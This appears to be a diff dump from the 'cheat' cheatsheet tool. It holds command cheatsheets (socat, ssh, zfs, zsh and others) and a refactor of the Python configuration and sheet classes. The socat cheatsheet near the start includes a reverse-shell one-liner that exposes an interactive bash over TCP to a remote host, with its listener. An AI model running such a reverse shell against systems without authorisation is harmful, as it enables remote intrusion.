# tcp-listener (port 3180), output as hexdump (-x) and fork for new connetions
socat -x tcp-listen:3180,fork -
# practical examples:
# complete real working http-example:
# (sleep is necessary to prevent socat closing socket before data received)
(echo -e "GET / HTTP/1.1\r\nHost: butzel.info\r\n\r" && sleep 1) \
| socat tcp4:butzel.info:80 -
# http to httpS 'Proxy' (for an webserver without TLS-Support)
socat OPENSSL-LISTEN:443,reuseaddr,pf=ip4,fork,cert=server.pem,cafile=client.crt,verify=0 TCP4-CONNECT:127.0.0.1:80
# port forwarding (e.g. own port 3180 to port 22(ssh) on target
socat TCP4-LISTEN:3180,reuseaddr,fork TCP4:butzel.info:ssh
# TOR-forwarding (needs tor-daemon on port 9050 running)
socat tcp4-listen:8080,reuseaddr,fork socks4A:127.0.0.1:t0rhidd3ns3rvice.onion:80,socksport=9050
# network (port 8266) to serial bridge (/dev/ttyUSB0 baudrate: 115200)
socat TCP4-LISTEN:8266,fork,reuseaddr /dev/ttyUSB0,raw,crnl,b115200
# udp to tcp
socat -u udp-recvfrom:1234,fork tcp:localhost:4321
# reverse shell:
socat exec:'bash -i',pty,stderr tcp:remote.butzel.info:3180
# listener for above reverse shell (on remote.butzel.info):
socat file:`tty`,raw,echo=0 tcp-listen:3180
# or: nc -lp 3180

View File

@ -23,6 +23,9 @@ ssh -X -t user@example.com 'chromium-browser'
# To create a SOCKS proxy on localhost and port 9999 # To create a SOCKS proxy on localhost and port 9999
ssh -D 9999 user@example.com ssh -D 9999 user@example.com
# To tunnel an ssh session over the SOCKS proxy on localhost and port 9999
ssh -o "ProxyCommand nc -x 127.0.0.1:9999 -X 4 %h %p" username@example2.com
# -X use an xsession, -C compress data, "-c blowfish" use the encryption blowfish # -X use an xsession, -C compress data, "-c blowfish" use the encryption blowfish
ssh user@example.com -C -c blowfish -X ssh user@example.com -C -c blowfish -X

View File

@ -19,6 +19,9 @@ tar -xjvf /path/to/foo.tgz
# To create a .bz2 archive: # To create a .bz2 archive:
tar -cjvf /path/to/foo.tgz /path/to/foo/ tar -cjvf /path/to/foo.tgz /path/to/foo/
# To extract a .tar in specified Directory:
tar -xvf /path/to/foo.tar -C /path/to/destination/
# To list the content of an .bz2 archive: # To list the content of an .bz2 archive:
tar -jtvf /path/to/foo.tgz tar -jtvf /path/to/foo.tgz

View File

@ -3,3 +3,6 @@ ls | tee outfile.txt
# To tee stdout and append to a file: # To tee stdout and append to a file:
ls | tee -a outfile.txt ls | tee -a outfile.txt
# To tee stdout to the terminal, and also pipe it into another program for further processing:
ls | tee /dev/tty | xargs printf "\033[1;34m%s\033[m\n"

18
cheat/cheatsheets/wc Normal file
View File

@ -0,0 +1,18 @@
# Count the number of words (file or STDIN)
wc -w /path/to/foo.txt
cat /path/to/foo.txt | wc -w
# Count the number of lines (file or STDIN)
wc -l /path/to/foo.txt
cat /path/to/foo.txt | wc -l
# Count the number of bytes (file or STDIN)
wc -c /path/to/foo.txt
cat /path/to/foo.txt | wc -c
# Count files and directories at a given location
ls -l | wc -l
# If you ever use `wc` in a shell script and need to compare the output with an int you can
# clean the output (wc returns extra characters around the integer) by using xargs:
ls -l | wc -l | xargs

View File

@ -10,3 +10,7 @@ find -name *.pdf | xargs -I{} rm -rf '{}'
# -n1 => One file by one file. ( -n2 => 2 files by 2 files ) # -n1 => One file by one file. ( -n2 => 2 files by 2 files )
find -name *.pdf | xargs -I{} -n1 echo '&{}=' find -name *.pdf | xargs -I{} -n1 echo '&{}='
# If find returns no result, do not run rm
# This option is a GNU extension.
find -name "*.pdf" | xargs --no-run-if-empty rm

View File

@ -16,5 +16,8 @@ youtube-dl --playlist-start 5 example.com/watch?v=id&list=listid
# To simulate a download with youtube-dl: # To simulate a download with youtube-dl:
youtube-dl -s example.com/watch?v=id youtube-dl -s example.com/watch?v=id
# To download audio in mp3 format with best quality available
youtube-dl --extract-audio --audio-format mp3 --audio-quality 0 example.com/watch?v=id
# For all video formats see # For all video formats see
# http://en.wikipedia.org/wiki/YouTube#Quality_and_codecs # http://en.wikipedia.org/wiki/YouTube#Quality_and_codecs

126
cheat/cheatsheets/zfs Normal file
View File

@ -0,0 +1,126 @@
# WARNING:
# In order to avoid headaches when moving ZFS physical devices around,
# one will be much better served to reference devices by their *immutable*
# ID - as in /dev/disk/by-id/* - rather than their block device name -
# as in /dev/{sd,nvme}* - which is bound to change as per PCI enumeration
# order.
# For the sake of briefness, we'll use the following variables:
# ${device} device (/dev/disk/by-id/${device})
# ${part} partition (/dev/disk/by-id/${part=${device}-part${N}})
# ${pool} ZFS pool (name)
# ${fs_vol} ZFS file system or volume (name)
# ${snapshot} ZFS snapshot (name)
## Pools
# Create a new "RAID-5" (raidz1) pool
# Recommended: use entire devices rather than partitions
zpool create ${pool} raidz1 ${device} ${device} ${device} [...]
# Add 2nd-level "RAID-1" (mirror) ZFS Intent Log (ZIL; synchronous write cache)
# Recommended: use separate, fast, low-latency devices (e.g. NVMe)
zpool add ${pool} log mirror ${part} ${part}
# Add 2nd-level "RAID-0" Adaptive Replacement Cache (ARC; read cache)
# Recommended: use separate, fast, low-latency devices (e.g. NVMe)
zpool add ${pool} cache ${part} ${part} [...]
# Remove log or cache components
zpool remove zfs ${part} [...]
# Import (enable) existing pool from newly connected devices
# Note: this will create the /etc/zfs/zpool.cache devices cache
zpool import -d /dev/disk/by-id -aN
# Import (enable) existing pool using the devices cache
zpool import -c /etc/zfs/zpool.cache -aN
# Export (disable) pool (e.g. before shutdown)
zpool export -a
# List all (imported) pools
zpool list
# See pool status
zpool status ${pool}
# See detailed pool I/O statistics
zpool iostat ${pool} -v
# Verify pool integrity (data checksums)
# (watch progress with 'zpool status')
zpool scrub ${pool}
# Remove a failing device from a pool
# Note: redundant pools (mirror, raidz) will continue working in degraded state
zpool detach ${pool} ${device}
# Replace a failed device in a pool
# Note: new device will be "resilvered" automatically (parity reconstruction)
# (watch progress with 'zpool status')
zpool replace ${pool} ${failed-device} ${new-device}
# Erase zpool labels ("superblock") from a device/partition
# WARNING: MUST do before reusing a device/partition for other purposes
zpool labelclear ${device}
# Query pool configuration (properties)
zpool get all ${pool}
# Change pool configuration (property)
zpool set <property>=<value> ${pool}
# Dump the entire pool (commands) history
zpool history ${pool}
# More...
man zpool
## File systems / Volumes
# Create a new file system
zfs create ${pool}/${fs_vol}
# Create a new volume ("block device")
# Note: look for it in /dev/zvol/${pool}/${fs_vol}
zfs create -V <size> ${pool}/${fs_vol}
# List all file systems / volumes
zfs list
# Mount all file systems
# Note: see 'zfs get mountpoint ${pool}' for mountpoint root path
zfs mount -a
# Create a snapshot
zfs snapshot ${pool}/${fs_vol}@${snapshot}
# Delete a snapshot
zfs destroy ${pool}/${fs_vol}@${snapshot}
# Full backup
# Note: pipe (|) source to destination through netcat, SSH, etc.
# ... on source:
zfs send -p -R ${pool}/${fs_vol}@${snapshot}
# ... on destination:
zfs receive -F ${pool}/${fs_vol}
# Incremental backup
# Note: pipe (|) source to destination through netcat, SSH, etc.
# ... on source:
zfs send -p -R -i ${pool}/${fs_vol}@${snapshot-previous} ${pool}/${fs_vol}@${snapshot}
# ... on destination:
zfs receive -F ${pool}/${fs_vol}
# Query file system / volume configuration (properties)
zfs get all ${pool}
zfs get all ${pool}/${fs_vol}
# Change file system / volume configuration (property)
zfs set <property>=<value> ${pool}/${fs_vol}
# More...
man zfs

View File

@ -1,5 +1,8 @@
# Create zip file # Create zip file
zip archive.zip file1 directory/ zip archive.zip file1 directory/
# Create zip file with password
zip -P password archive.zip file1
# To list, test and extract zip archives, see unzip # To list, test and extract zip archives, see unzip
cheat unzip cheat unzip

82
cheat/cheatsheets/zsh Normal file
View File

@ -0,0 +1,82 @@
# A plain old glob
print -l *.txt
print -l **/*.txt
# Show text files that end in a number from 1 to 10
print -l **/*<1-10>.txt
# Show text files that start with the letter a
print -l **/[a]*.txt
# Show text files that start with either ab or bc
print -l **/(ab|bc)*.txt
# Show text files that don't start with a lower or uppercase c
print -l **/[^cC]*.txt
# Show only directories
print -l **/*(/)
# Show only regular files
print -l **/*(.)
# Show empty files
print -l **/*(L0)
# Show files greater than 3 KB
print -l **/*(Lk+3)
# Show files modified in the last hour
print -l **/*(mh-1)
# Sort files from most to least recently modified and show the last 3
print -l **/*(om[1,3])
# `.` show files, `Lm-2` smaller than 2MB, `mh-1` modified in last hour,
# `om` sort by modification date, `[1,3]` only first 3 files
print -l **/*(.Lm-2mh-1om[1,3])
# Show every directory that contain directory `.git`
print -l **/*(e:'[[ -d $REPLY/.git ]]':)
# Return the file name (t stands for tail)
print -l *.txt(:t)
# Return the file name without the extension (r stands for remove_extension)
print -l *.txt(:t:r)
# Return the extension
print -l *.txt(:e)
# Return the parent folder of the file (h stands for head)
print -l *.txt(:h)
# Return the parent folder of the parent
print -l *.txt(:h:h)
# Return the parent folder of the first file
print -l *.txt([1]:h)
# Parameter expansion
files=(*.txt) # store a glob in a variable
print -l $files
print -l $files(:h) # this is the syntax we saw before
print -l ${files:h}
print -l ${files(:h)} # don't mix the two, or you'll get an error
print -l ${files:u} # the :u modifier makes the text uppercase
# :s modifier
variable="path/aaabcd"
echo ${variable:s/bc/BC/} # path/aaaBCd
echo ${variable:s_bc_BC_} # path/aaaBCd
echo ${variable:s/\//./} # path.aaabcd (escaping the slash \/)
echo ${variable:s_/_._} # path.aaabcd (slightly more readable)
echo ${variable:s/a/A/} # pAth/aaabcd (only first A is replaced)
echo ${variable:gs/a/A/} # pAth/AAAbcd (all A is replaced)
# Split the file name at each underscore
echo ${(s._.)file}
# Join expansion flag, opposite of the split flag.
array=(a b c d)
echo ${(j.-.)array} # a-b-c-d

134
cheat/configuration.py Normal file
View File

@ -0,0 +1,134 @@
import os
from cheat.utils import Utils
import json
class Configuration:
def __init__(self):
self._get_global_conf_file_path()
self._get_local_conf_file_path()
self._saved_configuration = self._get_configuration()
def _get_configuration(self):
# get options from config files and environment vairables
merged_config = {}
try:
merged_config.update(
self._read_configuration_file(self.glob_config_path)
)
except Exception as e:
Utils.warn('error while parsing global configuration Reason: '
+ e.message
)
try:
merged_config.update(
self._read_configuration_file(self.local_config_path)
)
except Exception as e:
Utils.warn('error while parsing user configuration Reason: '
+ e.message
)
merged_config.update(self._read_env_vars_config())
self._check_configuration(merged_config)
return merged_config
def _read_configuration_file(self, path):
# Reads configuration file and returns list of set variables
read_config = {}
if (os.path.isfile(path)):
with open(path) as config_file:
read_config.update(json.load(config_file))
return read_config
def _read_env_vars_config(self):
read_config = {}
# NOTE: These variables are left here because of backwards
# compatibility and are supported only as env vars but not in
# configuration file
if (os.environ.get('VISUAL')):
read_config['EDITOR'] = os.environ.get('VISUAL')
# variables supported both in environment and configuration file
# NOTE: Variables without CHEAT_ prefix are legacy
# key is variable name and value is its legacy_alias
# if variable has no legacy alias then set to None
variables = {'CHEAT_DEFAULT_DIR': 'DEFAULT_CHEAT_DIR',
'CHEAT_PATH': 'CHEATPATH',
'CHEAT_COLORS': 'CHEATCOLORS',
'CHEAT_EDITOR': 'EDITOR',
'CHEAT_HIGHLIGHT': None
}
for (k, v) in variables.items():
self._read_env_var(read_config, k, v)
return read_config
def _check_configuration(self, config):
""" Check values in config and warn user or die """
# validate CHEAT_HIGHLIGHT values if set
colors = [
'grey', 'red', 'green', 'yellow',
'blue', 'magenta', 'cyan', 'white'
]
if (
config.get('CHEAT_HIGHLIGHT') and
config.get('CHEAT_HIGHLIGHT') not in colors
):
Utils.die("%s %s" % ('CHEAT_HIGHLIGHT must be one of:', colors))
def _read_env_var(self, current_config, key, alias=None):
if os.environ.get(key) is not None:
current_config[key] = os.environ.get(key)
return
elif alias is not None and os.environ.get(alias) is not None:
current_config[key] = os.environ.get(alias)
return
def _get_global_conf_file_path(self):
self.glob_config_path = (os.environ.get('CHEAT_GLOBAL_CONF_PATH')
or '/etc/cheat')
def _get_local_conf_file_path(self):
path = (os.environ.get('CHEAT_LOCAL_CONF_PATH')
or os.path.expanduser('~/.config/cheat/cheat'))
self.local_config_path = path
def _choose_value(self, primary_value_name, secondary_value_name):
""" Return primary or secondary value in saved_configuration
If primary value is in configuration then return it. If it is not
then return secondary. In the absence of both values return None
"""
primary_value = self._saved_configuration.get(primary_value_name)
secondary_value = self._saved_configuration.get(secondary_value_name)
if primary_value is not None:
return primary_value
else:
return secondary_value
def get_default_cheat_dir(self):
return self._choose_value('CHEAT_DEFAULT_DIR', 'DEFAULT_CHEAT_DIR')
def get_cheatpath(self):
return self._choose_value('CHEAT_PATH', 'CHEATPATH')
def get_cheatcolors(self):
return self._choose_value('CHEAT_COLORS', 'CHEATCOLORS')
def get_editor(self):
return self._choose_value('CHEAT_EDITOR', 'EDITOR')
def get_highlight(self):
return self._saved_configuration.get('CHEAT_HIGHLIGHT')

View File

@ -1,76 +1,79 @@
import io
import os import os
import shutil import shutil
from cheat import sheets from cheat.utils import Utils
from cheat.utils import die, open_with_editor
def copy(current_sheet_path, new_sheet_path):
class Sheet:
def __init__(self, sheets, utils):
self._sheets = sheets
self._utils = utils
def copy(self, current_sheet_path, new_sheet_path):
""" Copies a sheet to a new path """ """ Copies a sheet to a new path """
# attempt to copy the sheet to DEFAULT_CHEAT_DIR # attempt to copy the sheet to DEFAULT_CHEAT_DIR
try: try:
shutil.copy(current_sheet_path, new_sheet_path) shutil.copy(current_sheet_path, new_sheet_path)
# fail gracefully if the cheatsheet cannot be copied. This can happen if # fail gracefully if the cheatsheet cannot be copied. This can happen
# DEFAULT_CHEAT_DIR does not exist # if DEFAULT_CHEAT_DIR does not exist
except IOError: except IOError:
die('Could not copy cheatsheet for editing.') Utils.die('Could not copy cheatsheet for editing.')
def create_or_edit(self, sheet):
def create_or_edit(sheet):
""" Creates or edits a cheatsheet """ """ Creates or edits a cheatsheet """
# if the cheatsheet does not exist # if the cheatsheet does not exist
if not exists(sheet): if not self.exists(sheet):
create(sheet) self.create(sheet)
# if the cheatsheet exists but not in the default_path, copy it to the # if the cheatsheet exists but not in the default_path, copy it to the
# default path before editing # default path before editing
elif exists(sheet) and not exists_in_default_path(sheet): elif self.exists(sheet) and not self.exists_in_default_path(sheet):
copy(path(sheet), os.path.join(sheets.default_path(), sheet)) self.copy(self.path(sheet),
edit(sheet) os.path.join(self._sheets.default_path(), sheet))
self.edit(sheet)
# if it exists and is in the default path, then just open it # if it exists and is in the default path, then just open it
else: else:
edit(sheet) self.edit(sheet)
def create(self, sheet):
def create(sheet):
""" Creates a cheatsheet """ """ Creates a cheatsheet """
new_sheet_path = os.path.join(sheets.default_path(), sheet) new_sheet_path = os.path.join(self._sheets.default_path(), sheet)
open_with_editor(new_sheet_path) self._utils.open_with_editor(new_sheet_path)
def edit(self, sheet):
def edit(sheet):
""" Opens a cheatsheet for editing """ """ Opens a cheatsheet for editing """
open_with_editor(path(sheet)) self._utils.open_with_editor(self.path(sheet))
def exists(self, sheet):
def exists(sheet):
""" Predicate that returns true if the sheet exists """ """ Predicate that returns true if the sheet exists """
return sheet in sheets.get() and os.access(path(sheet), os.R_OK) return (sheet in self._sheets.get() and
os.access(self.path(sheet), os.R_OK))
def exists_in_default_path(self, sheet):
def exists_in_default_path(sheet):
""" Predicate that returns true if the sheet exists in default_path""" """ Predicate that returns true if the sheet exists in default_path"""
default_path_sheet = os.path.join(sheets.default_path(), sheet) default_path_sheet = os.path.join(self._sheets.default_path(), sheet)
return sheet in sheets.get() and os.access(default_path_sheet, os.R_OK) return (sheet in self._sheets.get() and
os.access(default_path_sheet, os.R_OK))
def is_writable(self, sheet):
def is_writable(sheet):
""" Predicate that returns true if the sheet is writeable """ """ Predicate that returns true if the sheet is writeable """
return sheet in sheets.get() and os.access(path(sheet), os.W_OK) return (sheet in self._sheets.get() and
os.access(self.path(sheet), os.W_OK))
def path(self, sheet):
def path(sheet):
""" Returns a sheet's filesystem path """ """ Returns a sheet's filesystem path """
return sheets.get()[sheet] return self._sheets.get()[sheet]
def read(self, sheet):
def read(sheet):
""" Returns the contents of the cheatsheet as a String """ """ Returns the contents of the cheatsheet as a String """
if not exists(sheet): if not self.exists(sheet):
die('No cheatsheet found for ' + sheet) Utils.die('No cheatsheet found for ' + sheet)
with open(path(sheet)) as cheatfile: with io.open(self.path(sheet), encoding='utf-8') as cheatfile:
return cheatfile.read() return cheatfile.read()

View File

@ -1,14 +1,24 @@
import io
import os import os
from cheat import cheatsheets from cheat.utils import Utils
from cheat.utils import die
def default_path():
class Sheets:
def __init__(self, config):
self._default_cheat_dir = config.get_default_cheat_dir()
self._cheatpath = config.get_cheatpath()
self._utils = Utils(config)
def default_path(self):
""" Returns the default cheatsheet path """ """ Returns the default cheatsheet path """
# determine the default cheatsheet dir # determine the default cheatsheet dir
default_sheets_dir = os.environ.get('DEFAULT_CHEAT_DIR') or os.path.join('~', '.cheat') default_sheets_dir = (self._default_cheat_dir or
default_sheets_dir = os.path.expanduser(os.path.expandvars(default_sheets_dir)) os.path.join('~', '.cheat'))
default_sheets_dir = os.path.expanduser(
os.path.expandvars(default_sheets_dir))
# create the DEFAULT_CHEAT_DIR if it does not exist # create the DEFAULT_CHEAT_DIR if it does not exist
if not os.path.isdir(default_sheets_dir): if not os.path.isdir(default_sheets_dir):
@ -18,24 +28,27 @@ def default_path():
os.mkdir(default_sheets_dir) os.mkdir(default_sheets_dir)
except OSError: except OSError:
die('Could not create DEFAULT_CHEAT_DIR') Utils.die('Could not create DEFAULT_CHEAT_DIR')
# assert that the DEFAULT_CHEAT_DIR is readable and writable # assert that the DEFAULT_CHEAT_DIR is readable and writable
if not os.access(default_sheets_dir, os.R_OK): if not os.access(default_sheets_dir, os.R_OK):
die('The DEFAULT_CHEAT_DIR (' + default_sheets_dir +') is not readable.') Utils.die('The DEFAULT_CHEAT_DIR ('
+ default_sheets_dir
+ ') is not readable.')
if not os.access(default_sheets_dir, os.W_OK): if not os.access(default_sheets_dir, os.W_OK):
die('The DEFAULT_CHEAT_DIR (' + default_sheets_dir +') is not writable.') Utils.die('The DEFAULT_CHEAT_DIR ('
+ default_sheets_dir
+ ') is not writable.')
# return the default dir # return the default dir
return default_sheets_dir return default_sheets_dir
def get(self):
def get():
""" Assembles a dictionary of cheatsheets as name => file-path """ """ Assembles a dictionary of cheatsheets as name => file-path """
cheats = {} cheats = {}
# otherwise, scan the filesystem # otherwise, scan the filesystem
for cheat_dir in reversed(paths()): for cheat_dir in reversed(self.paths()):
cheats.update( cheats.update(
dict([ dict([
(cheat, os.path.join(cheat_dir, cheat)) (cheat, os.path.join(cheat_dir, cheat))
@ -47,44 +60,41 @@ def get():
return cheats return cheats
def paths(self):
def paths():
""" Assembles a list of directories containing cheatsheets """ """ Assembles a list of directories containing cheatsheets """
sheet_paths = [ sheet_paths = [
default_path(), self.default_path(),
cheatsheets.sheets_dir()[0],
] ]
# merge the CHEATPATH paths into the sheet_paths # merge the CHEATPATH paths into the sheet_paths
if 'CHEATPATH' in os.environ and os.environ['CHEATPATH']: if self._cheatpath:
for path in os.environ['CHEATPATH'].split(os.pathsep): for path in self._cheatpath.split(os.pathsep):
if os.path.isdir(path): if os.path.isdir(path):
sheet_paths.append(path) sheet_paths.append(path)
if not sheet_paths: if not sheet_paths:
die('The DEFAULT_CHEAT_DIR dir does not exist or the CHEATPATH is not set.') Utils.die('The DEFAULT_CHEAT_DIR dir does not exist '
+ 'or the CHEATPATH is not set.')
return sheet_paths return sheet_paths
def list(self):
def list():
""" Lists the available cheatsheets """ """ Lists the available cheatsheets """
sheet_list = '' sheet_list = ''
pad_length = max([len(x) for x in get().keys()]) + 4 pad_length = max([len(x) for x in self.get().keys()]) + 4
for sheet in sorted(get().items()): for sheet in sorted(self.get().items()):
sheet_list += sheet[0].ljust(pad_length) + sheet[1] + "\n" sheet_list += sheet[0].ljust(pad_length) + sheet[1] + "\n"
return sheet_list return sheet_list
def search(self, term):
def search(term):
""" Searches all cheatsheets for the specified term """ """ Searches all cheatsheets for the specified term """
result = '' result = ''
for cheatsheet in sorted(get().items()): for cheatsheet in sorted(self.get().items()):
match = '' match = ''
for line in open(cheatsheet[1]): for line in io.open(cheatsheet[1], encoding='utf-8'):
if term in line: if term in line:
match += ' ' + line match += ' ' + self._utils.highlight(term, line)
if match != '': if match != '':
result += cheatsheet[0] + ":\n" + match + "\n" result += cheatsheet[0] + ":\n" + match + "\n"

View File

@ -1,27 +1,64 @@
from __future__ import print_function from __future__ import print_function
import os import os
import sys
import subprocess import subprocess
import sys
def colorize(sheet_content): class Utils:
def __init__(self, config):
self._displaycolors = config.get_cheatcolors()
self._editor_executable = config.get_editor()
self._highlight_color = config.get_highlight()
def highlight(self, needle, haystack):
""" Highlights a search term matched within a line """
# if a highlight color is not configured, exit early
if not self._highlight_color:
return haystack
# otherwise, attempt to import the termcolor library
try:
from termcolor import colored
# if the import fails, return uncolored text
except ImportError:
return haystack
# if the import succeeds, colorize the needle in haystack
return haystack.replace(needle, colored(needle, self._highlight_color))
def colorize(self, sheet_content):
""" Colorizes cheatsheet content if so configured """ """ Colorizes cheatsheet content if so configured """
# only colorize if so configured # cover all possible positive values to be safe
if not 'CHEATCOLORS' in os.environ: positive_values = ["True", "true", "1", 1, True]
# only colorize if configured to do so, and if stdout is a tty
if (self._displaycolors not in positive_values or
not sys.stdout.isatty()):
return sheet_content return sheet_content
# don't attempt to colorize an empty cheatsheet
if not sheet_content.strip():
return ""
# otherwise, attempt to import the pygments library
try: try:
from pygments import highlight from pygments import highlight
from pygments.lexers import get_lexer_by_name from pygments.lexers import get_lexer_by_name
from pygments.formatters import TerminalFormatter from pygments.formatters import TerminalFormatter
# if pygments can't load, just return the uncolorized text # if the import fails, return uncolored text
except ImportError: except ImportError:
return sheet_content return sheet_content
# otherwise, attempt to colorize
first_line = sheet_content.splitlines()[0] first_line = sheet_content.splitlines()[0]
lexer = get_lexer_by_name('bash') lexer = get_lexer_by_name('bash')
# apply syntax-highlighting if the first line is a code-fence
if first_line.startswith('```'): if first_line.startswith('```'):
sheet_content = '\n'.join(sheet_content.split('\n')[1:-2]) sheet_content = '\n'.join(sheet_content.split('\n')[1:-2])
try: try:
@ -31,41 +68,33 @@ def colorize(sheet_content):
return highlight(sheet_content, lexer, TerminalFormatter()) return highlight(sheet_content, lexer, TerminalFormatter())
@staticmethod
def die(message): def die(message):
""" Prints a message to stderr and then terminates """ """ Prints a message to stderr and then terminates """
warn(message) Utils.warn(message)
exit(1) exit(1)
def editor(self):
def editor():
""" Determines the user's preferred editor """ """ Determines the user's preferred editor """
# determine which editor to use
editor = os.environ.get('CHEAT_EDITOR') \
or os.environ.get('VISUAL') \
or os.environ.get('EDITOR') \
or False
# assert that the editor is set # assert that the editor is set
if editor == False: if (not self._editor_executable):
die( Utils.die(
'You must set a CHEAT_EDITOR, VISUAL, or EDITOR environment ' 'You must set a CHEAT_EDITOR, VISUAL, or EDITOR environment '
'variable in order to create/edit a cheatsheet.' 'variable or setting in order to create/edit a cheatsheet.'
) )
return editor return self._editor_executable
def open_with_editor(self, filepath):
def open_with_editor(filepath): """ Open `filepath` using the EDITOR specified by the env variables """
""" Open `filepath` using the EDITOR specified by the environment variables """ editor_cmd = self.editor().split()
editor_cmd = editor().split()
try: try:
subprocess.call(editor_cmd + [filepath]) subprocess.call(editor_cmd + [filepath])
except OSError: except OSError:
die('Could not launch ' + editor()) Utils.die('Could not launch ' + self.editor())
@staticmethod
def warn(message): def warn(message):
""" Prints a message to stderr """ """ Prints a message to stderr """
print((message), file=sys.stderr) print((message), file=sys.stderr)

5
config/cheat Normal file
View File

@ -0,0 +1,5 @@
{
"CHEAT_COLORS": true,
"CHEAT_EDITOR":"vi",
"CHEAT_PATH":"/usr/share/cheat"
}

View File

@ -1,9 +1,20 @@
from distutils.core import setup from distutils.core import setup
import os import os
# determine the directory in which to install system-wide cheatsheets
# KLUDGE: It would be better to read `/usr/share/cheat` from `config/cheat`
# rather than hard-coding it here
cheat_path = os.environ.get('CHEAT_PATH') or '/usr/share/cheat'
# aggregate the systme-wide cheatsheets
cheat_files = []
for f in os.listdir('cheat/cheatsheets/'):
cheat_files.append(os.path.join('cheat/cheatsheets/',f))
# specify build params
setup( setup(
name = 'cheat', name = 'cheat',
version = '2.2.0', version = '2.4.1',
author = 'Chris Lane', author = 'Chris Lane',
author_email = 'chris@chris-allen-lane.com', author_email = 'chris@chris-allen-lane.com',
license = 'GPL3', license = 'GPL3',
@ -14,15 +25,15 @@ setup(
url = 'https://github.com/chrisallenlane/cheat', url = 'https://github.com/chrisallenlane/cheat',
packages = [ packages = [
'cheat', 'cheat',
'cheat.cheatsheets',
'cheat.test', 'cheat.test',
], ],
package_data = {
'cheat.cheatsheets': [f for f in os.listdir('cheat/cheatsheets') if '.' not in f]
},
scripts = ['bin/cheat'], scripts = ['bin/cheat'],
install_requires = [ install_requires = [
'docopt >= 0.6.1', 'docopt >= 0.6.1',
'pygments >= 1.6.0', 'pygments >= 1.6.0',
] ],
data_files = [
(cheat_path, cheat_files),
('/etc', ['config/cheat']),
],
) )

View File

@ -0,0 +1,86 @@
import unittest2
import os
import shutil
from cheat.configuration import Configuration
def _set_loc_conf(key, value):
_path = os.path.dirname(os.path.abspath(__file__)) + '/home/.config/cheat/cheat'
if value == None:
os.remove(_path)
else:
if not os.path.exists(os.path.dirname(_path)):
os.makedirs(os.path.dirname(_path))
f = open(_path,"w+")
f.write('{"'+ key +'":"'+ value +'"}')
f.close()
def _set_glob_conf(key, value):
_path = os.path.dirname(os.path.abspath(__file__))+ "/etc/cheat"
if value == None:
os.remove(_path)
else:
if not os.path.exists(os.path.dirname(_path)):
os.mkdir(os.path.dirname(_path))
f = open(_path,"w+")
f.write('{"'+ key +'":"'+ value +'"}' )
f.close()
def _set_env_var(key, value):
if value == None:
del os.environ[key]
else:
os.environ[key] = value
def _configuration_key_test(TestConfiguration, key,values, conf_get_method):
for glob_conf in values:
_set_glob_conf(key,glob_conf)
for loc_conf in values:
_set_loc_conf(key,loc_conf)
for env_conf in values:
_set_env_var(key,env_conf)
if env_conf:
TestConfiguration.assertEqual(conf_get_method(Configuration()),env_conf)
elif loc_conf:
TestConfiguration.assertEqual(conf_get_method(Configuration()),loc_conf)
elif glob_conf:
TestConfiguration.assertEqual(conf_get_method(Configuration()),glob_conf)
else:
TestConfiguration.assertEqual(conf_get_method(Configuration()),None)
class ConfigurationTestCase(unittest2.TestCase):
def setUp(self):
os.environ['CHEAT_GLOBAL_CONF_PATH'] = os.path.dirname(os.path.abspath(__file__)) \
+ '/etc/cheat'
os.environ['CHEAT_LOCAL_CONF_PATH'] = os.path.dirname(os.path.abspath(__file__)) \
+ '/home/.config/cheat/cheat'
def test_get_editor(self):
_configuration_key_test(self,"EDITOR",["nano","vim","gedit",None],
Configuration.get_editor)
def test_get_cheatcolors(self):
_configuration_key_test(self,"CHEATCOLORS",["true",None],
Configuration.get_cheatcolors)
def test_get_cheatpath(self):
_configuration_key_test(self,"CHEATPATH",["/etc/myglobalcheats",
"/etc/anotherglobalcheats","/rootcheats",None],Configuration.get_cheatpath)
def test_get_defaultcheatdir(self):
_configuration_key_test(self,"DEFAULT_CHEAT_DIR",["/etc/myglobalcheats",
"/etc/anotherglobalcheats","/rootcheats",None],Configuration.get_default_cheat_dir)
def tearDown(self):
shutil.rmtree(os.path.dirname(os.path.abspath(__file__)) +'/etc')
shutil.rmtree(os.path.dirname(os.path.abspath(__file__)) +'/home')